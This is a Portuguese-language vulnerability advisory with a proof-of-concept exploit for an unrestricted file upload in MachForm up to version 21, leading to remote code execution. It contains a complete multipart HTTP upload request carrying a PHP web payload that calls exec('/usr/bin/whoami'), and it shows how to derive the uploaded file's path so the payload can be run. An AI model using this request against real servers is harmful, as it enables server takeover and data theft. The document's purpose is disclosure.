
Exploit de prova de conceito para upload de arquivo irrestrito autenticado levando a execução remota de código no MachForm até a versão 21, com exemplos detalhados de requisições e etapas de exploração.
O MachForm até a versão 21 é afetado por um upload de arquivo irrestrito autenticado que leva à execução remota de código.
A aplicação oferece a possibilidade de criação de um formulário com funcionalidade de upload de arquivos. Embora por padrão os arquivos aceitos sejam restritos a um subconjunto seguro comum, o criador do formulário também pode especificar formatos adicionais que são permitidos.
Se um usuário com direitos de criação de formulário fizer um formulário com funcionalidade de upload de arquivo onde o formato “PHP” é permitido, qualquer usuário não autenticado pode explorar este formulário para obter Execução Remota de Código.
Para explorar esta vulnerabilidade, é necessário ter um formulário com funcionalidade de upload de arquivo habilitada que tenha extensões “PHP” na lista de permissões.

Uma vez cumprido este pré-requisito, qualquer usuário não autenticado pode navegar até o formulário para explorar a vulnerabilidade de upload de arquivo.
Arquivos enviados para o formulário, que ainda não foram submetidos no formulário, são carregados no servidor web em um diretório pré-determinado com formato .tmp.

Requisição:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
O caminho completo do arquivo enviado pode ser construído usando a requisição de upload, que contém todos os campos necessários:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
Neste cenário, a URL do arquivo enviado será a seguinte:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

Uma vez obtida a Execução Remota de Código, é possível operar diretamente no servidor alvo, o que permitiria adquirir acesso além do escopo da aplicação e permitiria ler informações sensíveis ou alterar/excluir componentes principais.